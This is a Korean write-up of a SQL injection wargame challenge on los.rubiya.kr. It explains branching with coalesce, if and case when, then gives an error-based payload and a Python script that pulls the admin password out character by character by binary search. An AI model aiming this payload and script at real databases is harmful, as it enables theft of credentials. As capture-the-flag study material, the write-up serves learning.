coalesce
를 비롯한 sql injection에서 "분기"를 나누는 법에 대해서 정리
coalesce
coalesce(val1, val2, val3 ...)와 같이 있을 때, val1부터 순차적으로 탐색하여 NULL이 아닌 값을 반환한다. coalesce(NULL, NULL, 3) = 3이다.
sql injection에서는 다음과 같이 사용할 수 있다.
select * from test where coalesce(id='admin' or null, null);
select * from test where 1=coalesce(no=1 or null, 2)
1번 쿼리에서 id가 admin일 때에는 1(true)가 반환되고, 그렇지 않을 때에는 null이 반환된다.
2번 쿼리에서 no=1일 때에는 1(true)가 반환되고, 그렇지 않을 때에는 2가 반환된다.
if문 활용
if(1=1, 1, 2)
등 기본적으로 사용.
case when
case 'a' when 'a' then 1 [else 0] end
case when 'a'='a' then 1 [else 0] end
위의 두 구문은 형식만 약간 다를 뿐, 정확하게 똑같은 구문이다. [else 0]
은 생략 가능하며, 생략했을 때는 NULL 값이 반환된다.
앞 뒤로 다양하게 이용 가능하다.
문제 풀이
pw=''||id='admin' and coalesce(length(pw)=8 or null,(select 1 union select 2)) -- g
error based로 풀어내야 하므로 위와 같이 설계.
length(pw)=8
이 참이면, 1(true)가 반환된다.
거짓인 경우에는, (select 1 union select 2)가 반환되는데, 이 과정에서 에러가 발생한다.
소스코드
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import math
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID=1i3vikvi0qn4nhb5uvrqshk53d',
'Host': 'los.rubiya.kr',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-User': '?1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
password = ""
for i in range(1,9):
_min=0x20
_max=0x80
# binary search
while _min != _max:
query = f"'||id='admin' and coalesce(ord(substring(pw,{i},1))>{math.ceil((_min+_max)/2)-1} or null,(select 1 union select 2)) -- g"
url = f"<https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw={query}>"
res = requests.get(url=url, headers= headers, verify=False)
print("narrow!", _min, _max)
if len(res.text) > 10 : # true
_min = math.ceil((_min+_max)/2)
else:
_max = math.ceil((_min+_max)/2) - 1
# answer!
password += chr(_min)
print("find!", i, chr(_min))
print(password.lower())